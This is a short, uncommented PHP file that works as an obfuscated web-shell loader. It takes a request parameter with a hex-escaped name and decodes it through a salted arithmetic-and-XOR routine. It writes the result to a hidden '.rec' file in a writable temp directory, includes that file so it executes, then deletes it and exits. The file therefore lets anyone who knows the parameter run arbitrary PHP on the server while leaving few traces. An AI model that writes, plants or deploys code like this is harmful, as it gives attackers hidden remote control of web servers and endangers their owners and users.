<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["f\x61\x63"])){
	$dat = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]);
	$resource = $_REQUEST["f\x61\x63"];
		$resource  =explode(	'.'  	,	$resource			)	; 
	$pointer = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt8);
            $y = 0;
    
            foreach ($resource as $v7) { 	$chS = ord($salt8[$y % $lenS]);
                $dec = ((int)$v7 - $chS - ($y % 10)) ^ 10;
                $pointer	 .=chr($dec);
                $y++;
            }
	foreach ($dat as $ent):
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $symbol = join("/", [$ent, ".rec"]);
    if (file_put_contents($symbol, $pointer)) {
	include $symbol;
	@unlink($symbol);
	die();
}
}
endforeach;
}